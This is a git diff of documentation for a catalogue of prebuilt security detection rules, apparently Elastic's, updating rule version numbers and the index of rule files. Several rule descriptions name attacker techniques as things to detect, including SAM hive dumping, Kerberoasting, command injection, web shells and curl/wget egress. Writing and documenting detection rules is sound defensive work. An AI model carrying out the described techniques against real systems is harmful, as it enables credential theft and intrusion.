-|<<suspicious-access-to-ldap-attributes, Suspicious Access to LDAP Attributes>> |Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Windows Security Event Logs], [Data Source: Active Directory], [Data Source: Windows], [Resources: Investigation Guide] |None |107
+|<<suspicious-access-to-ldap-attributes, Suspicious Access to LDAP Attributes>> |Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Windows Security Event Logs], [Data Source: Active Directory], [Data Source: Windows], [Resources: Investigation Guide] |None |108
 
 |<<suspicious-activity-reported-by-okta-user, Suspicious Activity Reported by Okta User>> |Detects when a user reports suspicious activity for their Okta account. These events should be investigated, as they can help security teams identify when an adversary is attempting to gain access to their network. |[Use Case: Identity and Access Audit], [Data Source: Okta], [Tactic: Initial Access], [Resources: Investigation Guide] |None |412
 
@@ -2572,7 +2600,7 @@ and their rule type is `machine_learning`.
 
 |<<suspicious-rdp-activex-client-loaded, Suspicious RDP ActiveX Client Loaded>> |Identifies suspicious Image Loading of the Remote Desktop Services ActiveX Client (mstscax), this may indicate the presence of RDP lateral movement capability. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |213
 
-|<<suspicious-remote-registry-access-via-sebackupprivilege, Suspicious Remote Registry Access via SeBackupPrivilege>> |Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Credential Access], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs] |None |215
+|<<suspicious-remote-registry-access-via-sebackupprivilege, Suspicious Remote Registry Access via SeBackupPrivilege>> |Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Lateral Movement], [Tactic: Credential Access], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs] |None |216
 
 |<<suspicious-renaming-of-esxi-files, Suspicious Renaming of ESXI Files>> |Identifies instances where VMware-related files, such as those with extensions like ".vmdk", ".vmx", ".vmxf", ".vmsd", ".vmsn", ".vswp", ".vmss", ".nvram", and ".vmem", are renamed on a Linux system. The rule monitors for the "rename" event action associated with these file types, which could indicate malicious activity. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |11
 
@@ -2582,9 +2610,9 @@ and their rule type is `machine_learning`.
 
 |<<suspicious-script-object-execution, Suspicious Script Object Execution>> |Identifies scrobj.dll loaded into unusual Microsoft processes. This usually means a malicious scriptlet is being executed in the target process. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Sysmon], [Resources: Investigation Guide] |None |212
 
-|<<suspicious-seincreasebasepriorityprivilege-use, Suspicious SeIncreaseBasePriorityPrivilege Use>> |Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1
+|<<suspicious-seincreasebasepriorityprivilege-use, Suspicious SeIncreaseBasePriorityPrivilege Use>> |Identifies attempts to use the SeIncreaseBasePriorityPrivilege privilege by an unusual process. This could be related to hijack execution flow of a process via threats priority manipulation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |2
 
-|<<suspicious-service-was-installed-in-the-system, Suspicious Service was Installed in the System>> |Identifies the creation of a new Windows service with suspicious Service command values. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs], [Data Source: Windows System Event Logs] |None |114
+|<<suspicious-service-was-installed-in-the-system, Suspicious Service was Installed in the System>> |Identifies the creation of a new Windows service with suspicious Service command values. Windows services typically run as SYSTEM and can be used for privilege escalation and persistence. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide], [Data Source: Windows Security Event Logs], [Data Source: Windows System Event Logs] |None |115
 
 |<<suspicious-solarwinds-child-process, Suspicious SolarWinds Child Process>> |A suspicious SolarWinds child process was detected, which may indicate an attempt to execute malicious programs. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |213
 
@@ -2604,7 +2632,7 @@ and their rule type is `machine_learning`.
 
 |<<suspicious-utility-launched-via-proxychains, Suspicious Utility Launched via ProxyChains>> |This rule monitors for the execution of suspicious linux tools through ProxyChains. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Command and Control], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: Auditd Manager], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |111
 
-|<<suspicious-wmi-event-subscription-created, Suspicious WMI Event Subscription Created>> |Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Sysmon], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |310
+|<<suspicious-wmi-event-subscription-created, Suspicious WMI Event Subscription Created>> |Detects the creation of a WMI Event Subscription. Attackers can abuse this mechanism for persistence or to elevate to SYSTEM privileges. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Sysmon], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |311
 
 |<<suspicious-wmi-image-load-from-ms-office, Suspicious WMI Image Load from MS Office>> |Identifies a suspicious image load (wmiutils.dll) from Microsoft Office processes. This behavior may indicate adversarial activity where child processes are spawned via Windows Management Instrumentation (WMI). This technique can be used to execute code and evade traditional parent/child processes spawned from Microsoft Office products. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Resources: Investigation Guide] |None |211
 
@@ -2684,7 +2712,7 @@ and their rule type is `machine_learning`.
 
 |<<teamfiltration-user-agents-detected, TeamFiltration User-Agents Detected>> |Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |1
 
-|<<temporarily-scheduled-task-creation, Temporarily Scheduled Task Creation>> |Indicates the creation and deletion of a scheduled task within a short time interval. Adversaries can use these to proxy malicious execution via the schedule service and perform clean up. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |112
+|<<temporarily-scheduled-task-creation, Temporarily Scheduled Task Creation>> |Indicates the creation and deletion of a scheduled task within a short time interval. Adversaries can use these to proxy malicious execution via the schedule service and perform clean up. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Execution], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |113
 
 |<<third-party-backup-files-deleted-via-unexpected-process, Third-party Backup Files Deleted via Unexpected Process>> |Identifies the deletion of backup files, saved using third-party software, by a process outside of the backup suite. Adversaries may delete Backup files to ensure that recovery from a ransomware attack is less likely. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Impact], [Resources: Investigation Guide], [Data Source: Elastic Defend], [Data Source: SentinelOne] |None |216
 
@@ -2908,7 +2936,7 @@ and their rule type is `machine_learning`.
 
 |<<unusual-sshd-child-process, Unusual SSHD Child Process>> |This rule detects the creation of an unusual SSHD child process through the usage of the `new_terms` rule type. Attackers may abuse SSH to maintain persistence on a compromised system, or to establish a backdoor for remote access, potentially resulting in an unusual SSHD child process being created. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Elastic Defend], [Resources: Investigation Guide], [Data Source: Crowdstrike] |None |5
 
-|<<unusual-scheduled-task-update, Unusual Scheduled Task Update>> |Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |115
+|<<unusual-scheduled-task-update, Unusual Scheduled Task Update>> |Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |116
 
 |<<unusual-service-host-child-process-childless-service, Unusual Service Host Child Process - Childless Service>> |Identifies unusual child processes of Service Host (svchost.exe) that traditionally do not spawn any child processes. This may indicate a code injection or an equivalent form of exploitation. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Privilege Escalation], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: Sysmon], [Data Source: Microsoft Defender for Endpoint], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |313
 
@@ -2960,7 +2988,7 @@ and their rule type is `machine_learning`.
 
 |<<user-detected-with-suspicious-windows-process-es, User Detected with Suspicious Windows Process(es)>> |A machine learning job combination has identified a user with one or more suspicious Windows processes that exhibit unusually high malicious probability scores. These process(es) have been classified as malicious in several ways. The process(es) were predicted to be malicious by the ProblemChild supervised ML model. If the anomaly contains a cluster of suspicious processes, each process has the same user name, and the aggregate score of the event cluster was calculated to be unusually high by an unsupervised ML model. Such a cluster often contains suspicious or malicious activity, possibly involving LOLbins, that may be resistant to detection using conventional search rules. |[Domain: Endpoint], [OS: Windows], [Use Case: Living off the Land Attack Detection], [Rule Type: ML], [Rule Type: Machine Learning], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |110
 
-|<<user-account-exposed-to-kerberoasting, User account exposed to Kerberoasting>> |Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |218
+|<<user-account-exposed-to-kerberoasting, User account exposed to Kerberoasting>> |Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Active Directory], [Resources: Investigation Guide], [Use Case: Active Directory Monitoring], [Data Source: Windows Security Event Logs] |None |219
 
 |<<user-or-group-creation-modification, User or Group Creation/Modification>> |This rule leverages the `auditd_manager` integration to detect user or group creation or modification events on Linux systems. Threat actors may attempt to create or modify users or groups to establish persistence on the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Data Source: Auditd Manager], [Resources: Investigation Guide] |None |6
 
@@ -3000,8 +3028,16 @@ and their rule type is `machine_learning`.
 
 |<<web-application-suspicious-activity-sqlmap-user-agent, Web Application Suspicious Activity: sqlmap User Agent>> |This is an example of how to detect an unwanted web client user agent. This search matches the user agent for sqlmap 1.3.11, which is a popular FOSS tool for testing web applications for SQL injection vulnerabilities. |[Data Source: APM], [Resources: Investigation Guide] |None |105
 
+|<<web-server-discovery-or-fuzzing-activity, Web Server Discovery or Fuzzing Activity>> |This rule detects potential web server discovery or fuzzing activity by identifying a high volume of HTTP GET requests resulting in 404 or 403 status codes from a single source IP address within a short timeframe. Such patterns may indicate that an attacker is attempting to discover hidden or unlinked resources on a web server, which can be a precursor to more targeted attacks. |[Domain: Web], [Domain: Network], [Use Case: Threat Detection], [Tactic: Reconnaissance], [Data Source: Network Packet Capture], [Data Source: Nginx], [Data Source: Apache], [Data Source: Apache Tomcat], [Data Source: IIS], [Resources: Investigation Guide] |None |2
+
+|<<web-server-potential-command-injection-request, Web Server Potential Command Injection Request>> |This rule detects potential command injection attempts via web server requests by identifying URLs that contain suspicious patterns commonly associated with command execution payloads. Attackers may exploit vulnerabilities in web applications to inject and execute arbitrary commands on the server, often using interpreters like Python, Perl, Ruby, PHP, or shell commands. By monitoring for these indicators in web traffic, security teams can identify and respond to potential threats early. |[Domain: Web], [Domain: Network], [Use Case: Threat Detection], [Tactic: Reconnaissance], [Tactic: Persistence], [Tactic: Execution], [Tactic: Credential Access], [Tactic: Command and Control], [Data Source: Network Packet Capture], [Data Source: Nginx], [Data Source: Apache], [Data Source: Apache Tomcat], [Data Source: IIS], [Resources: Investigation Guide] |None |2
+
+|<<web-server-potential-spike-in-error-response-codes, Web Server Potential Spike in Error Response Codes>> |This rule detects unusual spikes in error response codes (500, 502, 503, 504) from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited. |[Domain: Web], [Domain: Network], [Use Case: Threat Detection], [Tactic: Reconnaissance], [Data Source: Network Packet Capture], [Data Source: Nginx], [Data Source: Apache], [Data Source: Apache Tomcat], [Data Source: IIS], [Resources: Investigation Guide] |None |2
+
 |<<web-server-spawned-via-python, Web Server Spawned via Python>> |This rule identifies when a web server is spawned via Python. Attackers may use Python to spawn a web server to exfiltrate/infiltrate data or to move laterally within a network. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Execution], [Data Source: Elastic Defend], [Data Source: Crowdstrike], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |105
 
+|<<web-server-suspicious-user-agent-requests, Web Server Suspicious User Agent Requests>> |This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks. |[Domain: Web], [Domain: Network], [Use Case: Threat Detection], [Tactic: Reconnaissance], [Tactic: Credential Access], [Data Source: Network Packet Capture], [Data Source: Nginx], [Data Source: Apache], [Data Source: Apache Tomcat], [Data Source: IIS], [Resources: Investigation Guide] |None |2
+
 |<<web-shell-detection-script-process-child-of-common-web-processes, Web Shell Detection: Script Process Child of Common Web Processes>> |Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Initial Access], [Tactic: Execution], [Resources: Investigation Guide], [Data Source: Elastic Endgame], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Windows Security Event Logs], [Data Source: Microsoft Defender for Endpoint], [Data Source: Sysmon], [Data Source: Crowdstrike] |None |420
 
 |<<webproxy-settings-modification, WebProxy Settings Modification>> |Identifies the use of the built-in networksetup command to configure webproxy settings. This may indicate an attempt to hijack web browser traffic for credential access via traffic sniffing or redirection. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Credential Access], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |210
@@ -3058,7 +3094,7 @@ and their rule type is `machine_learning`.
 
 |<<zoom-meeting-with-no-passcode, Zoom Meeting with no Passcode>> |This rule identifies Zoom meetings that are created without a passcode. Meetings without a passcode are susceptible to Zoombombing. Zoombombing is carried out by taking advantage of Zoom sessions that are not protected with a passcode. Zoombombing refers to the unwanted, disruptive intrusion, generally by Internet trolls and hackers, into a video conference call. In a typical Zoombombing incident, a teleconferencing session is hijacked by the insertion of material that is lewd, obscene, racist, or antisemitic in nature, typically resulting of the shutdown of the session. |[Data Source: Zoom], [Use Case: Configuration Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |104
 
-|<<dmsa-account-creation-by-an-unusual-user, dMSA Account Creation by an Unusual User>> |Detects the creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse the dMSA account migration feature to elevate privileges abusing weak persmission allowing users child objects rights or msDS-DelegatedManagedServiceAccount rights. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |1
+|<<dmsa-account-creation-by-an-unusual-user, dMSA Account Creation by an Unusual User>> |Detects the creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse the dMSA account migration feature to elevate privileges abusing weak persmission allowing users child objects rights or msDS-DelegatedManagedServiceAccount rights. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Privilege Escalation], [Use Case: Active Directory Monitoring], [Data Source: Active Directory], [Data Source: Windows Security Event Logs], [Resources: Investigation Guide] |None |2
 
 |<<rc-local-rc-common-file-creation, rc.local/rc.common File Creation>> |This rule monitors the creation/alteration of the rc.local/rc.common file. The /etc/rc.local file is used to start custom applications, services, scripts or commands during start-up. The rc.local file has mostly been replaced by Systemd. However, through the "systemd-rc-local-generator", rc.local files can be converted to services that run at boot. Adversaries may alter rc.local/rc.common to execute malicious code at start-up, and gain persistence onto the system. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide], [Data Source: Elastic Defend] |None |118
 
diff --git a/docs/detections/prebuilt-rules/rule-desc-index.asciidoc b/docs/detections/prebuilt-rules/rule-desc-index.asciidoc
index 3c69beb552..bd8dcac786 100644
--- a/docs/detections/prebuilt-rules/rule-desc-index.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-desc-index.asciidoc
@@ -42,8 +42,6 @@ include::rule-details/aws-ec2-security-group-configuration-change.asciidoc[]
 include::rule-details/aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc[]
 include::rule-details/aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc[]
 include::rule-details/aws-efs-file-system-or-mount-deleted.asciidoc[]
-include::rule-details/aws-elasticache-security-group-created.asciidoc[]
-include::rule-details/aws-elasticache-security-group-modified-or-deleted.asciidoc[]
 include::rule-details/aws-eventbridge-rule-disabled-or-deleted.asciidoc[]
 include::rule-details/aws-first-occurrence-of-sts-getfederationtoken-request-by-user.asciidoc[]
 include::rule-details/aws-guardduty-detector-deletion.asciidoc[]
@@ -73,17 +71,12 @@ include::rule-details/aws-lambda-function-policy-updated-to-allow-public-invocat
 include::rule-details/aws-lambda-layer-added-to-existing-function.asciidoc[]
 include::rule-details/aws-management-console-brute-force-of-root-user-identity.asciidoc[]
 include::rule-details/aws-management-console-root-login.asciidoc[]
-include::rule-details/aws-rds-cluster-creation.asciidoc[]
 include::rule-details/aws-rds-db-instance-made-public.asciidoc[]
 include::rule-details/aws-rds-db-instance-restored.asciidoc[]
 include::rule-details/aws-rds-db-instance-or-cluster-deletion-protection-disabled.asciidoc[]
 include::rule-details/aws-rds-db-instance-or-cluster-password-modified.asciidoc[]
 include::rule-details/aws-rds-db-snapshot-created.asciidoc[]
 include::rule-details/aws-rds-db-snapshot-shared-with-another-account.asciidoc[]
-include::rule-details/aws-rds-instance-creation.asciidoc[]
-include::rule-details/aws-rds-instance-cluster-stoppage.asciidoc[]
-include::rule-details/aws-rds-security-group-creation.asciidoc[]
-include::rule-details/aws-rds-security-group-deletion.asciidoc[]
 include::rule-details/aws-rds-snapshot-deleted.asciidoc[]
 include::rule-details/aws-rds-snapshot-export.asciidoc[]
 include::rule-details/aws-redshift-cluster-creation.asciidoc[]
@@ -112,10 +105,11 @@ include::rule-details/aws-ssm-sendcommand-with-run-shell-command-parameters.asci
 include::rule-details/aws-sts-assumerole-with-new-mfa-device.asciidoc[]
 include::rule-details/aws-sts-assumeroot-by-rare-user-and-member-account.asciidoc[]
 include::rule-details/aws-sts-getcalleridentity-api-called-for-the-first-time.asciidoc[]
-include::rule-details/aws-sts-getsessiontoken-abuse.asciidoc[]
+include::rule-details/aws-sts-getsessiontoken-usage.asciidoc[]
 include::rule-details/aws-sts-role-assumption-by-service.asciidoc[]
 include::rule-details/aws-sts-role-assumption-by-user.asciidoc[]
 include::rule-details/aws-sts-role-chaining.asciidoc[]
+include::rule-details/aws-secrets-manager-rapid-secrets-retrieval.asciidoc[]
 include::rule-details/aws-service-quotas-multi-region-getservicequota-requests.asciidoc[]
 include::rule-details/aws-sign-in-console-login-with-federated-user.asciidoc[]
 include::rule-details/aws-sign-in-root-password-recovery-requested.asciidoc[]
@@ -147,6 +141,7 @@ include::rule-details/adobe-hijack-persistence.asciidoc[]
 include::rule-details/adversary-behavior-detected-elastic-endgame.asciidoc[]
 include::rule-details/agent-spoofing-mismatched-agent-id.asciidoc[]
 include::rule-details/agent-spoofing-multiple-hosts-using-same-agent.asciidoc[]
+include::rule-details/alerts-in-different-att-ck-tactics-by-host.asciidoc[]
 include::rule-details/alternate-data-stream-creation-execution-at-volume-root-directory.asciidoc[]
 include::rule-details/anomalous-linux-compiler-activity.asciidoc[]
 include::rule-details/anomalous-process-for-a-linux-population.asciidoc[]
@@ -204,6 +199,8 @@ include::rule-details/azure-blob-permissions-modification.asciidoc[]
 include::rule-details/azure-command-execution-on-virtual-machine.asciidoc[]
 include::rule-details/azure-compute-restore-point-collection-deleted-by-unusual-user.asciidoc[]
 include::rule-details/azure-compute-restore-point-collections-deleted.asciidoc[]
+include::rule-details/azure-compute-snapshot-deletion-by-unusual-user-and-resource-group.asciidoc[]
+include::rule-details/azure-compute-snapshot-deletions-by-user.asciidoc[]
 include::rule-details/azure-diagnostic-settings-deletion.asciidoc[]
 include::rule-details/azure-entra-id-rare-app-id-for-principal-authentication.asciidoc[]
 include::rule-details/azure-event-hub-authorization-rule-created-or-updated.asciidoc[]
@@ -255,6 +252,7 @@ include::rule-details/code-signing-policy-modification-through-registry.asciidoc
 include::rule-details/command-execution-via-forfiles.asciidoc[]
 include::rule-details/command-execution-via-solarwinds-process.asciidoc[]
 include::rule-details/command-line-obfuscation-via-whitespace-padding.asciidoc[]
+include::rule-details/command-obfuscation-via-unicode-modifier-letters.asciidoc[]
 include::rule-details/command-prompt-network-connection.asciidoc[]
 include::rule-details/command-shell-activity-started-via-rundll32.asciidoc[]
 include::rule-details/command-and-scripting-interpreter-via-windows-scripts.asciidoc[]
@@ -290,6 +288,7 @@ include::rule-details/cron-job-created-or-modified.asciidoc[]
 include::rule-details/crowdstrike-external-alerts.asciidoc[]
 include::rule-details/cupsd-or-foomatic-rip-shell-execution.asciidoc[]
 include::rule-details/curl-socks-proxy-activity-from-unusual-parent.asciidoc[]
+include::rule-details/curl-or-wget-egress-network-connection-via-lolbin.asciidoc[]
 include::rule-details/curl-or-wget-spawned-via-node-js.asciidoc[]
 include::rule-details/cyberark-privileged-access-security-error.asciidoc[]
 include::rule-details/cyberark-privileged-access-security-recommended-monitor.asciidoc[]
@@ -305,7 +304,13 @@ include::rule-details/delayed-execution-via-ping.asciidoc[]
 include::rule-details/delegated-managed-service-account-modification-by-an-unusual-user.asciidoc[]
 include::rule-details/delete-volume-usn-journal-with-fsutil.asciidoc[]
 include::rule-details/deprecated-aws-ec2-vm-export-failure.asciidoc[]
-include::rule-details/deprecated-aws-root-login-without-mfa.asciidoc[]
+include::rule-details/deprecated-aws-elasticache-security-group-created.asciidoc[]
+include::rule-details/deprecated-aws-elasticache-security-group-modified-or-deleted.asciidoc[]
+include::rule-details/deprecated-aws-rds-cluster-creation.asciidoc[]
+include::rule-details/deprecated-aws-rds-instance-creation.asciidoc[]
+include::rule-details/deprecated-aws-rds-instance-cluster-stoppage.asciidoc[]
+include::rule-details/deprecated-aws-rds-security-group-creation.asciidoc[]
+include::rule-details/deprecated-aws-rds-security-group-deletion.asciidoc[]
 include::rule-details/deprecated-execution-of-file-written-or-modified-by-pdf-reader.asciidoc[]
 include::rule-details/deprecated-launchdaemon-creation-or-modification-and-immediate-loading.asciidoc[]
 include::rule-details/directory-creation-in-bin-directory.asciidoc[]
@@ -335,6 +340,8 @@ include::rule-details/esxi-timestomping-using-touch-command.asciidoc[]
 include::rule-details/eggshell-backdoor-execution.asciidoc[]
 include::rule-details/egress-connection-from-entrypoint-in-container.asciidoc[]
 include::rule-details/elastic-agent-service-terminated.asciidoc[]
+include::rule-details/elastic-defend-and-email-alerts-correlation.asciidoc[]
+include::rule-details/elastic-defend-and-network-security-alerts-correlation.asciidoc[]
 include::rule-details/elastic-security-external-alerts.asciidoc[]
 include::rule-details/emond-rules-creation-or-modification.asciidoc[]
 include::rule-details/enable-host-network-discovery-via-netsh.asciidoc[]
@@ -696,6 +703,7 @@ include::rule-details/multi-base64-decoding-attempt-from-suspicious-location.asc
 include::rule-details/multiple-alerts-involving-a-user.asciidoc[]
 include::rule-details/multiple-alerts-in-different-att-ck-tactics-on-a-single-host.asciidoc[]
 include::rule-details/multiple-device-token-hashes-for-single-okta-session.asciidoc[]
+include::rule-details/multiple-elastic-defend-alerts-by-agent.asciidoc[]
 include::rule-details/multiple-logon-failure-followed-by-logon-success.asciidoc[]
 include::rule-details/multiple-logon-failure-from-the-same-source-address.asciidoc[]
 include::rule-details/multiple-microsoft-365-user-account-lockouts-in-short-time-window.asciidoc[]
@@ -748,6 +756,7 @@ include::rule-details/oidc-discovery-url-changed-in-entra-id.asciidoc[]
 include::rule-details/office-test-registry-persistence.asciidoc[]
 include::rule-details/okta-brute-force-or-password-spraying-attack.asciidoc[]
 include::rule-details/okta-fastpass-phishing-detection.asciidoc[]
+include::rule-details/okta-multiple-os-names-detected-for-a-single-dt-hash.asciidoc[]
 include::rule-details/okta-sign-in-events-via-third-party-idp.asciidoc[]
 include::rule-details/okta-threatinsight-threat-suspected-promotion.asciidoc[]
 include::rule-details/okta-user-session-impersonation.asciidoc[]
@@ -757,6 +766,7 @@ include::rule-details/openssl-password-hash-generation.asciidoc[]
 include::rule-details/openssl-client-or-server-activity.asciidoc[]
 include::rule-details/outbound-scheduled-task-activity-via-powershell.asciidoc[]
 include::rule-details/outlook-home-page-registry-modification.asciidoc[]
+include::rule-details/panw-and-elastic-defend-command-and-control-correlation.asciidoc[]
 include::rule-details/parent-process-detected-with-suspicious-windows-process-es.asciidoc[]
 include::rule-details/parent-process-pid-spoofing.asciidoc[]
 include::rule-details/peripheral-device-discovery.asciidoc[]
@@ -844,6 +854,7 @@ include::rule-details/potential-file-download-via-a-headless-browser.asciidoc[]
 include::rule-details/potential-file-transfer-via-certreq.asciidoc[]
 include::rule-details/potential-file-transfer-via-curl-for-windows.asciidoc[]
 include::rule-details/potential-foxmail-exploitation.asciidoc[]
+include::rule-details/potential-git-cve-2025-48384-exploitation.asciidoc[]
 include::rule-details/potential-hex-payload-execution-via-command-line.asciidoc[]
 include::rule-details/potential-hex-payload-execution-via-common-utility.asciidoc[]
 include::rule-details/potential-hidden-local-user-account-creation.asciidoc[]
@@ -967,6 +978,7 @@ include::rule-details/potential-shadow-credentials-added-to-ad-object.asciidoc[]
 include::rule-details/potential-shadow-file-read-via-command-line-utilities.asciidoc[]
 include::rule-details/potential-sharprdp-behavior.asciidoc[]
 include::rule-details/potential-shell-via-wildcard-injection-detected.asciidoc[]
+include::rule-details/potential-spike-in-web-server-error-logs.asciidoc[]
 include::rule-details/potential-subnet-scanning-activity-from-compromised-host.asciidoc[]
 include::rule-details/potential-successful-linux-ftp-brute-force-attack-detected.asciidoc[]
 include::rule-details/potential-successful-linux-rdp-brute-force-attack-detected.asciidoc[]
@@ -985,6 +997,7 @@ include::rule-details/potential-veeam-credential-access-command.asciidoc[]
 include::rule-details/potential-wpad-spoofing-via-dns-record-creation.asciidoc[]
 include::rule-details/potential-wsus-abuse-for-lateral-movement.asciidoc[]
 include::rule-details/potential-web-shell-aspx-file-creation.asciidoc[]
